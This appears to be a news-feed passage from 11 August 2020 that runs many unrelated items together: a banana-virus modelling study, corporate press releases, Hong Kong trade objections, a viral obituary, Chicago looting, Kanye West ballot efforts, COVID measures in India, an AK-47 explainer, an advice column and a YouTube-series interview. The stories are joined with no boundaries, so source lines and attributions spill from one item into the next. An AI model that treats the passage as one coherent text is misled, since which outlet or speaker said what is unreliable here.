BBTV-infected banana plantation in northern New South Wales. The location of every diseased plant in the plantation was recorded using GPS. Associate Professor Chris Drovandi said the research expanded existing disease management strategies by calibrating the model to real field data. "The new model we've developed quantifies the effects of seasonal changes, the plantation's configuration and spread of banana bunchy top virus while predicting high-risk areas," Associate Professor Drovandi said. "Peak transmission occurs when temperatures reach 25-30 degrees, so weather is an important factor to consider in the complex dynamics of BBTV spread." Since 2014, the banana farm has undergone monthly inspections implementing a "rogue-and-remove" disease management strategy. QUT researcher Abhishek Varghese joined the study as part of an undergraduate vacation research scholarship, visiting the farm and meeting industry officials. He said it was difficult to see the symptoms of virus on plants from the air, or by using drones, as the leaves needed to be viewed underneath for infestations. "The banana trees grow along a steep slope and insects can be swept up and pushed to different parts of the plantation by seasonal forces," he said. "Since the 1930s field surveyors have scoured the plantation attempting to individually identify infections by checking banana leaves showing a choked or bunched appearance. "They mark the infected area without interrupting the insects and spray paraffin oil to ensure the aphids can't escape and inject a systemic insecticide and herbicide (glyphosate) slowly killing the banana plant and all the aphids inside it." Mr Varghese, who is studying a dual engineering and economics degree at QUT, said stochastic mathematical modelling also helped pinpoint areas where the disease remained latent in the soil two or three months after trees had been removed. "This is an expensive and laborious process for field surveyors so a precise forecasting tool may assist in pinpointing areas to inspect more carefully, reducing costs and making the job easier," he said. BBTV was first introduced to Australia in 1913 via infected suckers from Fiji and spread locally through the banana aphid, Pentalonia nigronervosa. "This is a fantastic example of talented students using mathematical and statistical skills to help solve real problems facing farmers and the agriculture industry," Professor Mengersen said. ### The research, titled Estimating a novel stochastic model for within-field disease dynamics of banana bunchy top virus via approximate Bayesian computation, was authored by Abhishek Varghese, Associate Professor Chris Drovandi, Antonietta Mira and Distinguished Professor Kerrie Mengersen from QUT-based ARC Centre of Excellence for Mathematical and Statistical Frontiers. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. SAN FRANCISCO, Aug. 11, 2020 /PRNewswire/ -- NextRoll, Inc., the marketing technology company delivering products for ambitious marketers to grow their business, today announced it is projected to deliver over $175M revenue this fiscal year. Despite the macro-economic challenges happening across the globe, the company is projecting record EBITDA into the eight figures and growing more than 400 percent year-over-year. Using its machine learning and data platform infrastructure, NextRoll serves tens of thousands of customers globally. Its two major business units, RollWorks and AdRoll, have seen growing traction in both software revenue and subscribers as the company continues to expand beyond its media foundations: RollWorks is projecting revenue growth for its Account-Based Platform of 70 percent year-over-year for Q3. This growth is fueled by new packages rolled out in April, making the RollWorks Account-Based Platform one of the most affordable and accessible ABM offerings in the market. RollWorks continues to deliver innovative capabilities to ambitious B2B marketing and sales teams with new products like Account Intent, Intent Playbook, and Sales Insights. The RollWorks Account-Based Platform is also extending its footprint through recent integrations and partnerships with Bombora, Hubspot, Linkedin, Marketo, OpenSense, and Salesforce. This growth is fueled by new packages in April, making the RollWorks Account-Based Platform one of the most affordable and accessible ABM offerings in the market. RollWorks continues to deliver innovative capabilities to ambitious B2B marketing and sales teams with new products like Account Intent, Intent Playbook, and Sales Insights. The RollWorks Account-Based Platform is also extending its footprint through recent integrations and partnerships with Bombora, Hubspot, Linkedin, Marketo, OpenSense, and Salesforce. AdRoll is projecting subscriber growth for its Growth Marketing Platform of 73 percent quarter-over-quarter for Q3. This growth is fueled by a freemium approach launched in April allowing direct-to-consumer marketers to start on a free plan before progressing to a paid plan. The AdRoll Growth Marketing Platform continues to deliver innovative capabilities to D2C e-commerce brands with new offerings including email add ons, AI product recommendations, and cross-channel measurement. To continue on its path of product-led growth in the marketing technology space, NextRoll also announced Robin Bordoli as the new CEO, succeeding Toby Gabriner in the role. Most recently Bordoli has served as the President of the RollWorks business unit for the last 18 months. Prior to NextRoll, Bordoli also served as CEO at Figure Eight and held multiple leadership roles at Marketo, including incubating and growing the B2C business unit. Bordoli will continue to serve as President for RollWorks while actively looking for a new President for AdRoll. "I've spent my career identifying emerging growth markets and aligning a company's technology and resources against them, so joining a company like NextRoll and partnering with Toby over the last 18 months on our two growth opportunities was very appealing to me. I'm humbled and excited to take the baton from him after his successful three-year tenure of transformation," said Robin Bordoli, CEO of NextRoll. "There's a big shift in behaviors happening in B2B and D2C marketing and sales teams spend more time researching online than engaging with a vendor, and D2C brands spend more time trying to find their audience than building relationships with them. RollWorks's platform addresses this B2B challenge by using machine learning and data to help these teams find and engage the buying committees in the accounts that matter most to their business. Using the same technology, AdRoll addresses the D2C market by helping e-commerce brands identify and engage the consumers that matter most to their business. Both are exciting opportunities for NextRoll and I look forward to leading us through what's next." "Both RollWorks and AdRoll are well-positioned to continue to grow in their respective markets, and no leader is better suited to take the reins than Robin Bordoli, after Toby's successful tenure," said Sean Dempsey, Co-founder and Managing Director of Merus Capital and NextRoll board member. "He has a wealth of experience across Martech and SaaS and machine learning areas that are critical to the success of the company in its next stage of growth and we couldn't be more excited to have him on board as CEO." To get started with RollWorks's account-based marketing platform, visit www.rollworks.com , and to sign up for a free trial of AdRoll's growth marketing platform visit www.adroll.com . For more on NextRoll and the company's culture and open positions, visit www.nextroll.com . About NextRoll NextRoll, Inc. is a marketing technology company delivering products ambitious marketers use and rely on to grow their businesses. Powered by machine learning and integrated data platforms, NextRoll's technology serves tens of thousands of businesses globally through its three business units: RollWorks, an account-based platform for business-to-business marketing and sales teams, AdRoll, a growth marketing platform for direct-to-consumer marketers, and NextRoll Platform Services, a platform-as-a-service for consumer and merchant marketplaces. NextRoll is a privately-held company headquartered in San Francisco. To learn more visit www.nextroll.com . Contact Meredith Klee for NextRoll [email protected] SOURCE NextRoll Inc. Related Links https://www.nextroll.com Source: Xinhua| 2020-08-11 21:38:03|Editor: huaxia Video Player Close HONG KONG, Aug. 11 (Xinhua) -- China's Hong Kong Special Administrative Region (HKSAR) government strongly objects to the notice published Tuesday on the U.S. Federal Register by the Customs and Border Protection in relation to origin marking of Hong Kong products. A spokesman for the HKSAR said, "The new rule on origin marking of Hong Kong products originates from the U.S. President's Executive Order issued on July 14 and reflects that the U.S. ignores Hong Kong's status as a separate member of the World Trade Organization (WTO). The rule may not be consistent with WTO rules, and it will also not help protect consumers' interest. In fact, it will only cause confusion and affect the interests of all parties, including the U.S." "The special status as a separate customs territory enjoyed by the HKSAR under 'one country, two systems' is conferred by the Constitution of the People's Republic of China and the HKSAR Basic Law. It is recognized by multilateral organizations such as the WTO, and is not granted or revocable by an individual country," the spokesman said. According to the notice, the new rule will be implemented after 45 days. The HKSAR government is clarifying certain important implementation details with the U.S. authorities through the Economic and Trade Office of the HKSAR government in Washington in order to decide on the way forward. The HKSAR government will maintain liaison with and provide clarification to the trade. It will also carefully consider if the U.S.' measures contravene WTO rules, and does not rule out the possibility of taking action under WTO rules if necessary to protect Hong Kong's interests, the spokesman said. Enditem Nouakchott, Mauritania (PANA) - The coordination of political parties represented in Parliament (CPPP) Monday called for a large republican front to deal with the issues of national unity, political and economic governance Ogdensburg, N.Y. An Upstate New York mans obituary is going viral, thanks to a mix of humor and brutal honesty. Cody James left us on August 8, 2020, as a result of injuries sustained from being a dumb ass, the obit for Cody James Holland warns. He drank, drove, and didnt wear his seat belt! Please, dont be a dumb ass! Holland, a resident of Ogdensburg in the North Country, was 25 years old when he died of an apparent drunk driving crash Saturday. No other details of his death were released, as the Frary Funeral Homes posting focused largely on personal tidbits. Tough guy with a big heart! Friend to most, hater to some, the obit continued. He loved his middle finger and showing his butt to the world! Holland loved his family and friends, along with black wife-beater shirts, trucks, his motorcycle, his dog, his guns, hunting, fishing, steak, chew, beer, hats on sideways, pants down to his ankles, Sour Patch Kids, Swedish Fish and Shania Twain (You Make Me Feel Like a Woman, we hope she did at least once!) the obit added, apparently referencing Twains 1997 country hit Man! I Feel Like a Woman. The New York Post reports Holland attended Heuvelton Central School, where he joked about becoming a porn star for a career. He graduated from Paul Smiths College in the Adirondacks and worked as a New York State Corrections Officer. Cody played hard and lived life like he wanted, the obit said. His favorite saying was You dont tell me what to do, I do what I want! 'Don't be a dumbass': Man's obit comes with grim warning https://t.co/x59q0G51Hk pic.twitter.com/pV0x8uAjXH New York Post (@nypost) August 10, 2020 A funeral service is scheduled for Friday, Aug. 14, at 11 a.m. at Frary Funeral Home in Ogdensburg. Calling hours will be held on Thursday from 2-4 p.m. and 6-8 p.m. Survivors include his parents, two brothers, grandparents, his girlfriend Alexis Sawyer, and many other friends and family members. Authorities in Chicago are restricting access to the citys downtown after caravans of looters smashed windows, damaged storefronts and stole merchandise across downtown overnight, leading to the arrests of more than 100 people. Two people, a civilian and a security guard, were shot amid the melee, as crowds descended overnight on major commercial areas, including the iconic Magnificent Mile, superintendent David Brown said during a press conference on Monday. More than 400 officers were dispatched to downtown after seeing social media posts encouraging looting in the wake of an officer-involved shooting on Sunday on the South Side, Brown said. Thirteen officers were hurt in incidents that included broken windows, stolen merchandise and shots fired at police, he said. This was an assault on our city, said Chicago mayor Lori Lightfoot, who appeared with Brown during the press conference. It undermines public safety and breeds a sense of insecurity among our residents. It also undermines our recovery efforts. These same stores that were hit last night, were hit previously, not just by the looting but by closures related to Covid-19. Bus and train services were temporarily suspended in the downtown area. Downtown access was to be restricted overnight, and the citys iconic bridges over the Chicago River were raised to limit access into the citys loop. Some unrest had started on Sunday with a crowd growing in a South side neighbourhood following a shooting incident involving police and a 20-year-old man, who was injured but is expected to have survived, according to Brown. Police had responded to a call of a man with a gun, and the individual had pointed the gun at officers, Brown said. Republican activists and operatives in at least five states have supported Kanye Wests bid for the November presidential election, according to a report by The Washington Post. The report is the latest suggesting Republicans are purposely aiding Wests bid in swing states in the hope that he will take votes away from Democratic presidential candidate Joe Biden. Wests campaign has filed petitions to appear on the ballot in 10 states, some of which have been found inadequate by state officials. In Wisconsin, a swing state, of 10 mandatory electors listed on Wests petition at least six have ties to the Republican Party, according to The Posts report. Among those trying to get rapper Kanye West on the presidential ballot are Fred Krumberger, whose wife, Marian Krumberger, is past chairwoman of Wisconsins Brown County Republican committee. Another West elector in the state, JM McKoy, is listed as an officer on the website of the Young Wisconsin Republicans, The Post reported. Jordan Wielandy, who is reportedly the brother-in-law of Joe Fadness, the campaign manager of Republican Wisconsin governor Scott Walkers unsuccessful 2018 re-election bid, is also standing as an elector to aid West. None of the electors or a spokesperson for Wests campaign responded to requests for comment when contacted by The Post. Last week it emerged that Lane Ruhland, a lawyer and longtime GOP operative who has ties to Mr Trump, also submitted Wests election paperwork and petition signatures to have his name appear on the ballot in Wisconsin, Vice reported. Rachel George, a longtime Republican operative based in Colorado, is working in a similar capacity to aid the West campaign in Colorado, seeking other Republicans to serve as West electors. I have the most random favour to ask of you ever... would you help me get Kanye West on the ballot in Colorado? No, I am not joking, and I realise this is hilarious, Ms George wrote in an email to another GOP operative, obtained by Vice. Recommended Kanye West may be kicked off Illinois ballot due to invalid signatures In Arkansas, Wests petition was signed by Gregg Keller, a longtime Republican operative who is the former executive director of the American Conservative Union, The Post said. Some have suggested that republican supporters are driving West in an attempt to divert votes from presumptive Democratic nominee Joe Biden. David Crowley, a Democrat who took office in May as the first Black executive of Milwaukee County, told The Post that he condemned the effort and that the bolstering will ultimately benefit Mr Trump. This is the Republican Party really trying to take advantage of someones mental state, he told the newspaper, referring to Wests bipolar disorder. Its appalling. Its insulting. Quite frankly, I cant believe theyre really doing it. Recommended Trump denies helping GOP operatives aiding Kanye West presidential bid We want them to know we will not be tricked, he said. If he is on the ballot, we will tell the community what this strategy is and not let them be confused by the Republican Party and Donald Trump. Last week, Mr Trump acknowledged the work seemingly being done by Republicans to facilitate Wests bid, denying any involvement. I like Kanye very much, but no, I have nothing to do with him getting on the ballot. Well have to see what happens. Well see if he gets on the ballot. But Im not involved, Mr Trump said. Jason Miller, a senior campaign adviser, also said the Trump campaign was not involved in helping West get on the ballot. LONDON, Aug. 11, 2020 /PRNewswire/ -- On August 11th, 2020, the day of Steve Wozniak's 70th birthday, the Apple and Enforce Co-Founder has decided to celebrate by revealing to the world what his newest company has quietly been building. With its revolutionary tokenized energy savings, Efforce is gearing up to the public launch of its Energy Efficiency platform to the retail world, democratising once and for all the access to this world-positive asset class. Jacopo Visetti, Efforce Co-Founder and Serial Entrepreneur in the energy market said: "This year has been incredibly tough for most businesses around the planet. Becoming more energy efficient, allows business owners to save on utility bills, increase their liquidity and become more sustainable." Since its private launch last summer, Efforce has successfully taken to the blockchain what its founders' business has been over the past decade; it completed its private sale round in January and deployed capital into the first batch of efficiency projects which have all returned profits to the network. Thanks to a strategic partnership with Huobi, the world's largest and most reliable cryptocurrency exchanges, the Efforce team will be able to amplify the effect of their work across the globe and bring to the public market its sustainable investment opportunities. "For us at Huobi, it is an immense pleasure and honour to work with such a personality like Steve Wozniak who, once again, together with his visionary team at Efforce is shaping the future of an entire industry through the use of pioneering technology. Huobi, will support Efforce growth process with its best tools and resources," said Leon Li, Chairman and Founder at Huobi. Steve Wozniak commented by saying: "Over the past year we have been approached by many different exchanges and potential partners. Our team's attitude has always been to create a real world product with truly reliable partners alongside us which could help create a safe yet open ecosystem. We are excited to enter into cooperation with Huobi as Leon and his team have always proved their customer-centric, innovative and supportive approach. Great day to enter into a new phase!" SOURCE Efforce Uttar Pradesh Chief Minister Yogi Adityanath has sent two special secretary-level officials to assist the District Magistrates in controlling the spread of the coronavirus in Kanpur and Lucknow, the cities that have constantly registered a high number of COVID-19 cases daily. According to an official spokesman, one special secretary-level official will also be appointed in Varanasi, Prayagraj, Gorakhpur, Bareilly and Bahraich. On Monday, Lucknow and Kanpur recorded 629 and 269 cases, respectively, while Varanasi registered 148 cases, Prayagraj 223, Gorakhpur 255, Bareilly 197 and Bahraich 70. As the number of containment zones in the state climbed to 10,350 with 41,490 infected patients, Adityanath underlined the need for increasing the number of beds in Level-2 and Level-3 COVID-19 hospitals which provide facility for oxygen and ventilators. As Lucknow is currently recording the highest number of cases in the state, the Chief Minister said that the number of beds should be increased in KGMU, SGPGI and the RML Hospital, with special instructions to complete a new hospital under KGMU for COVID-19 treatment before the scheduled deadline of October. Avanish Awasthi, Additional Chief Secretary (Home), said: "The Chief Minister has said that wherever necessary, additional manpower for hospitals should also be hired. COVID-19 hospitals should also be established in all medical colleges and a nodal officer to monitor the arrangements at these hospitals should be appointed by the health education department." Adityanath also said that it was crucial to continue with all measures required to break the coronavirus chain and it was also necessary to focus on public awareness programmes through television, radio, newspapers, public address systems, posters and banners. The police and the local administration have been asked to enforce the rule on wearing masks and maintaining social distancing very strictly. The Chief Minister has also said that fire safety norms should be followed very strictly in all COVID-19 hospitals. The fire department has carried out an inspection of several hospitals, both private and government, over the past three days. The "Virus Fighters Handbook" will be available to users worldwide free of charge. The handbook serves as a knowledge and maintenance platform for newly designed ventilators. Festo and Fraunhofer IPA were awarded one of the three top category honors recently in Munich during the Give a Breath Challenge award ceremony. The two companies developed the Virus Fighters Handbook, an information delivery app for field hospitals, where newly designed emergency ventilators and other new emergency devices are being set up, operated, and maintained for the first time by ad hoc personnel. The app places vital information at the fingertips of care providers about the new machines and how they are applied in COVID-19 treatment. The Give a Breath Challenge offered a total prize package exceeding $1 million. Munich Re, an insurance company, and the research organization Fraunhofer-Gesellschaft launched the Give a Breath Challenge in March. The challenge had three categories: designs for non-invasive lung ventilators and oxygen concentrators, development of non-invasive respirator masks, and delivery of information on the use of the new equipment plus basic knowledge on COVID-19 care. With these three components, a complete respirator system can be set up. Category requirements included the ability to produce the equipment anywhere in the world using 3D printing or other fast manufacturing processes. The primary aim was to create the technological basis for the rapid local supply of ventilators to cope with imminent shortages in the emergency treatment of COVID-19 patients, mitigating the impact of the pandemic for people affected worldwide, and helping to alleviate staffing issues through the use of ad hoc personnel. Over 150 project designs from all over the world were submitted to the Challenge. The Virus Fighters Handbook is based on the Festo Smartenance app, which is normally used for the maintenance and servicing of machines and systems in industrial production. Smartenance provided an existing and stable platform that only needed minimal reprogramming. The Fraunhofer team, which specializes in the development of educational material in the field of medical technology, supplied the training content. When accessing the handbook, personnel receive information via the app on the set up, use, and maintenance of the newly developed equipment, with specific information provided on treating COVID-19 patients. The Virus Fighters Handbook will be made available free of charge to users worldwide of new emergency ventilators and other equipment, both as an app for downloading and as a web application. ### Further information: Press text and photos are also available online at http://www.festo.com/press. Or mobile at http://m.festo.com/press. Video about the Virus Fighters Handbook: https://youtu.be/D26gtTkhyNk About Smartenance: https://getdigitalnow.com/operate/smart-maintenance/smartenance Give a Breath Challenge, including press release of Munich Re: http://www.munichre.com/giveabreath #Covid19 #GiveABreathChallenge About Festo Festo is a leading manufacturer of pneumatic and electromechanical systems, components, and controls for process and industrial automation. For more than 40 years, Festo Corporation has continuously elevated the state of manufacturing with innovations and optimized motion control solutions that deliver higher performing, more profitable automated manufacturing and processing equipment. Connect with Festo: Facebook, LinkedIn, Twitter and YouTube No comment on Pranab Mukherjee book before reading it: Former Union Minister Pranab memoirs: PM Modi must speak more often in Parliament Former President Pranab Mukherjee put on ventilator support India oi-Vicky Nanjappa New Delhi, Aug 11: Former president Pranab Mukherjee on Monday underwent brain surgery at a military hospital here, and he tested positive for Covid-19 prior to the procedure, sources at the hospital said. The surgery was carried out at the Army's Research and Referral (R&R) hospital for removal of a clot in his brain, they told PTI. Mukherjee is critical and is on ventilator support, the sources said. Former President Pranab Mukherjee tests positive for Covid-19 Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News At the same time, they said his vital parameters are stable and that the surgery was successful. A multidisciplinary team of doctors is constantly monitoring the health of 84-year-old Mukherjee. {quiz_288} In the afternoon, the former President had tweeted: "On a visit to the hospital for a separate procedure, I have tested positive for Covid-19 today. I request the people who came in contact with me in the last week, to please self isolate and get tested for Covid-19." Following his tweet, wishes for an early recovery poured in on Twitter from a large number of people including leaders from across the political spectrum. The AK-47 is perhaps the most widespread firearm in the world. Carried by American enemies and allies alike since 1947, it is the standard infantry weapon for 106 countries. There are an estimated 100 million AK-47s of a number of variations round the world. It's a popular weapon among firearms enthusiasts, professional soldiers and terrorists alike. In the United States, it has a reputation as the "bad guy" weapon, given its history and usage among so many former enemies. So it's natural that readers have a lot of questions about it. 1. What is "AK-47" short for? Its Russian name is Avtomat Kalashnikova -- also known simply as the Kalashnikov. It was named for its inventor, Senior Sergeant Mikhail Kalashnikov. He was supposedly a wounded T-34 tank commander in the Red Army during World War II. According to legend, he admired the weapons made by the Nazis. AK-47 designer and Red Army soldier Mikhail Kalashnikov in 1949. After five years of engineering, the former agricultural engineer made his famous weapon. It was based on a number of other designs floating around at the time, mostly Germany's Sturmgewehr-44. Called StG-44 for short, the Sturmgewehr was the first real mid-range infantry rifle. It didn't shoot a heavy round but could still lay down heavy fire. The AK-47 was designed to do the same. But the true brilliance of Kalashnikov's invention was in its simplicity. It was designed for all-around ease of use: easy to repair, easy to unjam (if it ever does), easy to maintain. If a round is chambered in an AK-47, chances are good that weapon is going to fire. His creation was so simple and dependable that the Soviet Union began exporting the weapon en masse. The country made so much money from exporting the weapon that Kalashnikov received special treatment in the USSR and later Russia for the rest of his life. 2. Are AK-47 guns illegal? The legality of the AK-47 depends on what country you're reading this in. In many countries, it's not only legal to own an AK model firearm, it's necessary and/or celebrated. AK-47 model weapons are also dirt cheap in many places around the world -- but the further away you are from the production centers, the more expensive it can be. AK-47 armed Cuban soldiers marching in Havana. (Granma Imternational) According to a study on transnational crime in the developing world, the cost of a black market AK-47 can run as little as $150 in Pakistan to $3,600 on the Dark Web for shipment to the United States. The price of an AK family firearm in Africa is an exception to that general rule. It's usually much cheaper in many African countries because the demand is so high that markets are usually flooded. 3. How many bullets can an AK-47 fire in a minute? The AK-47 can fire 600 rounds per minute in a fully automatic setting. Learn about the infamous AK-47 or the Russian built assault rifle and its origins as a military weapon in this episode of "Bullet Points: AK-47." Check it out now! 4. Can I legally buy an AK-47 in the United States? As for American wannabe AK owners, it also depends on what state you live in. In general, however, a true AK-47 has a fully automatic setting, which is illegal in the United States. Models with semi-automatic settings are available and legal in the U.S. Manufacturers cannot make or import fully automatic weapons for the civilian market. But you can still legally buy a fully automatic AK-47. Because this is America. Any automatic weapon fully registered before May 1986, with the passage of the Firearm Owners Protection Act, can be purchased or sold. This means there is a market of an estimated 175,000 legal automatic weapons in the United States. The limited legal supply also means that one of these rifles can be wildly expensive -- not to mention the stiff Bureau of Alcohol, Tobacco, Firearms and Explosives oversight and a $200 excise tax. But if you can afford $10,000 for a legally automatic AK-47, $200 is likely not going to bother you. 5. How deadly is the AK-47? The AK-47 is the deadliest weapon ever built, on the whole. Its kill count even tops nuclear weapons in sheer numbers. But the first AK-47s were very heavy and weren't really built for aiming. Kalashnikov wanted to develop a compact weapon that still delivered firepower within 300 meters that could bring a blaze of bullets (with ammunition light enough that soldiers could carry a lot of it). An Iraqi security forces soldier practices a prone shooting position at Besmaya Range Complex, Iraq, Feb. 1, 2017. (U.S. Army/Sgt. Joshua Wooten) A real 1947 Kalashnikov is surprisingly difficult to fire for a standard infantry weapon, but it was still very easily produced and easily used. Today's AKs are actually AKMs (modernized) and variations on the AKM. Everyone will still refer to it as an AK-47 or simply "AK" -- because it sounds cool. The weapon uses a 7.62mm, high-velocity round that can "destroy whole areas of a body," according to New York City trauma surgeons. They shatter bones, tear through organs and liquefy other materials as the round tumbles through the body -- often in ways that cannot be repaired. 6. Does the U.S. military use AK-47s? When the M16 rifle was first introduced in the Vietnam War, it had a number of issues. There were so many problems that American troops were killed in combat simply because they couldn't shoot back. Even after the kinks were worked out, a dirty M16 was (and is) much less likely to operate than a dirty AK-47. So U.S. troops were known to pick up AKs from their fallen enemies and keep them handy ... just in case. Capt. Michael Harvey, U.S. Army M.P. inspects an AK-47, Vietnam 1968. Note that the magazine has been incorrectly inserted. (United States Army Heritage and Education Center) When the AK-47 was first introduced, it was such a great weapon that the Red Army actually hid it from the world. The U.S. didn't really know about its existence until the mid-1950s. Not that the American military would buy its standard-issue rifle from its main geopolitical foe and potential World War III adversary anyway. These days, the U.S. does not field AK-47s, but some members of its military are trained to use them. Special operations forces from all branches might have to pick up an enemy AK-47 at some point because of the nature of their work -- sometimes help isn't coming. 7. Why do terrorists use AK-47s? The rifle was designed to be carried, maintained and fired by anyone in the area who happened to need its services. And if you need a weapon like the AK-47, you need to be able to use it fast, whether you're a professional soldier or a poorly trained conscript. The worldwide availability and durability of the AK-47 also makes it an attractive weapon for terrorists, militias and other illegal paramilitary organizations. Whether they're trying to take over a military base in frozen tundra or overthrowing a government in Sub-Saharan Africa, the AK-47 works really well in every environment, is always available (usually at a steep discount) and will still work even if it falls into water, mud, sand or some other muck. The average lifespan of a terrorist in a gunfight isn't very long, so that rifle is likely going to hit the ground, and someone is going to need it to work when they pick it up. The terrorist group is definitely going to need a cheap replacement. -- Blake Stilwell can be reached at blake.stilwell@military.com. He can also be found on Twitter @blakestilwell or on Facebook. Want to Learn More About Military Life? Whether you're thinking of joining the military, looking for post-military careers or keeping up with military life and benefits, Military.com has you covered. Subscribe to Military.com to have military news, updates and resources delivered directly to your inbox. Dear Annie: I often go to a large pharmacy to pick up prescriptions. They see hundreds of customers daily, so there is no way the several pharmacists would recognize me. Since I wear a mask and must speak through the plastic shield between us, sometimes they cannot understand me when I say my name and birthday. I've found a simple solution: to write my name and birthday clearly on a piece of paper before I go into the pharmacy and then hold it up for them to see. When I did this, one pharmacist said, "I wish more people would do this." It's bad enough having to hear properly with the mask and plastic wall, but sometimes the speech of the person in line is not very clear, making the situation worse. This takes more time to get the information across. By everything writing down in advance, it helps you and the pharmacist, eliminates frustration and speeds along the whole process. -- Jungle Jim in Indiana Dear Jungle Jim: What a wonderful idea! Thank you for sharing it. Dear Annie: Recently, my wife of nearly 50 years confessed to having had an affair that lasted more than two years with her supervisor at the time, who was twice her age. The timing of this affair -- more than 30 years ago -- led me to question the paternity of our daughter. My wife was positive that I am the father, and I believed her. However, a reputable and duplicated DNA test confirmed that I am not our daughter's biological father. I am devastated, and my wife is in shock and broken. I love her too much to do anything but continue to love her. However, in my opinion, my wife's inability at the time to think things out has led us to ask, what do we do now? Does not the biological father, now in his 80s, have a right to know he has another daughter and granddaughters? Does our daughter have the right to know her father? How do we tell her? Are there legal issues? We have a strong, healthy and now Christian family, and nobody will believe this of my wife. I feel lost in space. -- A Broken Dad Dear Broken Dad: Your love for your wife and ability to forgive her after all these years is beautiful. Your daughter will always be your daughter, no matter what a DNA test says. Having built your family on a strong Christian foundation doesn't mean that you or your wife never made mistakes. No matter your faith, we are all humans, and no one is perfect. Admitting your mistakes and saying you're sorry is what builds character. Start with being honest with your daughter. Consider going to a family therapist or counselor to help work through all of these new emotions. And please consult a lawyer for any legal questions. There are resources to support you and your family. Best of luck. Dear Readers: During this unprecedented time, I wanted to share that I am thinking about you and your loved ones and sending you well wishes for health, safety and love. Recently, I was devastated to read that the Villages retirement community in Florida was hit hard by COVID-19. Some of my best letters were sent from people in the Villages. Please know that I care about your health and safety. Wear a mask in public and please keep physically distanced as much as possible. Remember, this won't last forever. There will be a vaccine. Please keep hope alive. The more we stand united in taking preventative actions and in sharing our love and gratitude with others, the faster these trying times will, eventually, be a part of our history, just like the Spanish flu of a century ago. "Ask Me Anything: A Year of Advice From Dear Annie" is out now! Annie Lane's debut book -- featuring favorite columns on love, friendship, family and etiquette -- is available as a paperback and e-book. Visit http://www.creatorspublishing.com for more information. Send your questions for Annie Lane to dearannie@creators.com. Read more advice: Ask Amy: Separated soulmates are eager to connect Dear Annie: Looking to hop off the hamster wheel Dear Abby: Children cut off stepmother with dads power of attorney The Naked City podcast will take a journey into the dark depths of the Australian criminal underworld. In this series you will hear recordings of some of Australia's most dangerous criminals, all of who have been remarkably frank in their recollections. Peter Norris Dupas was convicted of the murders of Nicole Patterson, who was killed in April 1999, and Margaret Maher, who was murdered in October 1997. He was the prime suspect in the murder of Mersina Halvagis, stabbed to death in November 1997 while tending her grandmother's grave in the Fawkner Cemetery. It would take homicide investigators Jeff Maher and Paul Scarlett 13 years, two trials and a shock witness to get their man. The bodies of two men have been found in an an upside-down submerged car after a desperate search by police. The two men, both in their 50s, were reported missing on Monday from the Griffith area, in NSW's Riverina region, after they had not been seen since Saturday. Police were alerted to a vehicle found on its roof submerged in water in a canal on Mansell Road, Hanwood, about 5.30pm. When officers inspected the car they found two bodies inside. Two men, both aged in their 50s, have been found dead inside a car submerged in a canal on Mansell Road (pictured), in Hanwood, about 600km west of Sydney NSW Police said early investigations suggest the vehicle veered off the road and crashed into the canal, killing the driver and his passenger. The Volunteer Rescue Association has been called in to help police extract the vehicle on Tuesday morning. Inquiries continue. In this age of the novel CoronaVirus, many people all over the world are either forced to stay where they are or have travel restrictions limiting their ability to travel. This new way of living has resulted in many people being forced to stay home and spend more time on their computers and electronic devices. Luckily for all of us, a new YouTube series, titled Borga Diaries, created by Jynna Asiedu-Ofei, has entered the online environment. Borga Diaries is an entertaining online series, capturing the personal and captivating experiences of African travelers around the world. The following interview for TheAfricanDream.net conducted by Afromusion with the creator of Borga Diaries, details the creation and purpose of the series. Can you tell readers a bit about you and your connection to Ghana: My name is Jynna Asiedu-Ofei. I attended high school at St. Roses Senior High School in Akwatia, Ghanas Eastern Region. I then completed approximately two years at the University of Ghana before migrating to the United States (US). I currently hold an MBA (Masters in Business Administration), with a concentration in Human Resources Management. I have been working in the Human Resources field over a decade. How was the idea for Borga Diaries born, where did it originate?: As people, when we travel, we always share our experiences with family and friends around a table. The stories become a social event, where you may have people drinking while listening to the story, and also laughing and crying as a result of the storys complexity. These stories are always interesting, and always include information that most people did not know, with some level of culture shock. One evening, I was speaking on Instagram with Ernest Oppong Obobisa, a friend who was in the US completing an internship. During our casual conversation, he was telling me about all of his US experiences, the culture shocks, and more, and we laughed uncontrollably over so many relatable things in his stories. After our convo I thought to myself: theres nothing on social media talking about funny first-time travel experiencestheres nothing really on YouTube. People blog about their travel experiences, but there are not plenty of experiences like this shared. So, the next day, I called Ernest, and I was like, Hey, I think I have this idea where we should go around and interview people on video and post the videos on my channel on Youtube. Luckily, due to timing, two things played in my favor. One, Ernest liked the idea, and he was a free-lance photographer and a cinematographer, so he had some equipment. Two, Corona was wreaking havoc in America, therefore everything was shutting down, so we had a lot of time on our hands to strategize. I asked him to be my cinematographer, I scheduled interviews with people, and we traveled around capturing the interviews on video, and the rest is history. How did you select the name Borga Diaries for your YouTube channel?: In the beginning, we were unsure about the name. First, we thought of the name Yawah Abroadbecause we wanted to talk about embarrassing moments abroad. We wanted people to be able to reflect and laugh at their memories. After the first two recordings, we decided to come up with the name Borga Diaries, which is pretty much the diary of a traveler because in Ghanaian parlance borga is used to refer to folks who have traveled to or lived in developed countries. So, what do you write in a diary? You write about your experiences. So, while we were on lockdown, we were moving around and recording, giving guests the opportunity to tell their borga stories on video. When I started, I did not have any suitable equipment for creating YouTube videos. For example I did not have lapel microphones, reflectors, lighting nothing. Amazon became my best friend. I was ordering gizmos and gadgets, and all kinds of equipment online from Amazon weekly. What makes your YouTube channel unique that will attract people to it?: Everyone who has traveled has a traveling experience and watching this channel will allow people to relate to others experiences or relive theirs. And for people who have not traveled before, they can learn something from it. At times, people who have not traveled have a Hollywood-like idea about being and living abroad in developed countries, so this channel will give them a little exposure, in a funny way, to the realities of traveling abroad. What were your initial thoughts when you started Borga Diaries?: When I started, I had doubts. I did not think it would gain traction. I already considered failure before even starting. I was shy to put myself out there, even though deep in me I believed it was a good concept, my fears lingered, but putting the video out has encouraged me to overcome my fear. So far, it has been a blessing after blessing after blessing. What advice would you give to people who are thinking about starting a YouTube channel?: Do it, it is now or never. Years ago, when I started a YouTube channel, I would get on YouTube, watch a few videos, and watch how-to videos on starting a YouTube channel. Every video gave the same advice- start immediately. Now, even today when you go online, you still find videos advising you to start your channel now. YouTube has grown over the years, and it continues to grow. You should start your channel because someone out there is looking for the information you are putting out. What makes you peculiar from others? It is the content and what we are talking about. I can bet on it that no series talks about funny travel experiences. There are vlogs, but nothing as funny as the content being put out 